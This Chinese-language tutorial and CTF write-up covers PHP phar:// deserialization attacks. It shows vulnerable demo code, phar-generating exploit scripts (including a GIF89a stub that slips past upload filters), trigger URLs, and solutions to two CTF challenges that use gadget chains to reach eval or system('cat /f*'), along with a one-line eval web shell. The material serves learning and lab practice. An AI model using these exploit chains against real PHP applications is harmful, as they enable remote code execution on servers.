前言
我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
Phar简介
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
PHAR文件结构
Phar文件主要包含三至四个部分:
1. a stub
stub的基本结构:
xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。2. a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
签名格式
来个小例子
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问后,会生成一个phar.phar在当前目录下。
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
漏洞验证
upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。文件内容
upload_file.php
<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } ?> <body> <form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
file_un.php
<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用
phar://
执行代码
构造代码
exp.php
<?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
访问exp.php,会在当前目录生成phar.phar,然后修改后缀 gif
然后进行上传
然后利用file_un.php。
payload:file_un.php?filename=phar://upload_file/phar.gif
摘自:https://www.cnblogs.com/zzjdbk/p/13030571.html
一道简单的phar反序列化题目,拿来练练手
[HNCTF 2022 WEEK3]ez_phar
<?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>
访问/upload.php
生成phar文件
exp:
<?php
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new Flag();
$object -> code= 'system("cat /f*");';
$phar -> setMetadata($object);
$phar -> stopBuffering();
改后缀
上传
使用phar伪协议访问时进行反序列化
?filename=phar://upload/phar.jpeg
SWPUCTF2021_babyunser
打开题目
先查看文件
查看read.php
read.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>aa的文件查看器</title> <style> .search_form{ width:602px; height:42px; } /*左边输入框设置样式*/ .input_text{ width:400px; height: 40px; border:1px solid green; /*清除掉默认的padding*/ padding:0px; /*提示字首行缩进*/ text-indent: 10px; /*去掉蓝色高亮框*/ outline: none; /*用浮动解决内联元素错位及小间距的问题*/ float:left; } .input_sub{ width:100px; height: 42px; background: green; text-align:center; /*去掉submit按钮默认边框*/ border:0px; /*改成右浮动也是可以的*/ float:left; color:white;/*搜索的字体颜色为白色*/ cursor:pointer;/*鼠标变为小手*/ } .file_content{ width:500px; height: 242px; } </style> </head> <?php include('class.php'); $a=new aa(); ?> <body> <h1>aa的文件查看器</h1> <form class="search_form" action="" method="post"> <input type="text" class="input_text" placeholder="请输入搜索内容" name="file"> <input type="submit" value="查看" class="input_sub"> </form> </body> </html> <?php error_reporting(0); $filename=$_POST['file']; if(!isset($filename)){ die(); } $file=new zz($filename); $contents=$file->getFile(); ?> <br> <textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
upload.php
<html> <title>aa的文件上传器</title> <body> <form action="" enctype="multipart/form-data" method="post"> <p>请选择要上传的文件:<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> </body> </html> <?php if(isset($_POST['submit'])){ $upload_path="upload/".md5(time()).".txt"; $temp_file = $_FILES['upload_file']['tmp_name']; if (move_uploaded_file($temp_file, $upload_path)) { echo "文件路径:".$upload_path; } else { $msg = '上传失败'; } }
上传后会将文件重命名为txt格式,因此直接传马行不通
可以上传phar文件,phar反序列化看的是内容而不是文件的格式,我们可以通过phar伪协议读取文件进行反序列化执行命令
class.php
<?php class aa{ public $name; public function __construct(){ $this->name='aa'; } public function __destruct(){ $this->name=strtolower($this->name); } } class ff{ private $content; public $func; public function __construct(){ $this->content="\<?php @eval(\$_POST[1]);?>"; } public function __get($key){ $this->$key->{$this->func}($_POST['cmd']); } } class zz{ public $filename; public $content='surprise'; public function __construct($filename){ $this->filename=$filename; } public function filter(){ if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){ die('这不合理'); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } public function getFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return $contents; }else{ die("404 not found"); } } public function __toString(){ $this->{$_POST['method']}($_POST['var']); return $this->content; } } class xx{ public $name; public $arg; public function __construct(){ $this->name='eval'; $this->arg='phpinfo();'; } public function __call($name,$arg){ $name($arg[0]); } }
分析:
在read.php中看到入口$file=new zz($filename);
跟进代码class.php
发现能执行代码处
要想触发xx->call(用于在对象中调用一个不存在的方法时自动被调用),可以通过 ff->get
要想触发ff->get(用于在对象中访问一个不存在或者不可访问的属性时自动被调用),可以通过在ff类方面调用私有属性content,可以通过zz->write实现,
要想触发zz->write,可以通过zz->toString,其中method参数传write,var传私有属性content
要想zz->to_String(对象被当成字符串使用时调用),可以通过aa->_destruct中的strtolower函数
分析到这里,可以编写exp
<?php class aa{ public $name; public function __construct(){ $this->name=new zz(); } } class ff{ private $content; public $func='system'; public function __construct(){ $this->content=new xx(); } } class zz{ public $filename; public $content='surprise'; public function __construct(){ $this->filename=new ff(); } } class xx{ public $name; public $arg; } $a=new aa(); $phar = new Phar("hack.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
将生成的hack.phar上传,然后使用phar伪协议读取的时候通过file_get_contents()函数进行反序列化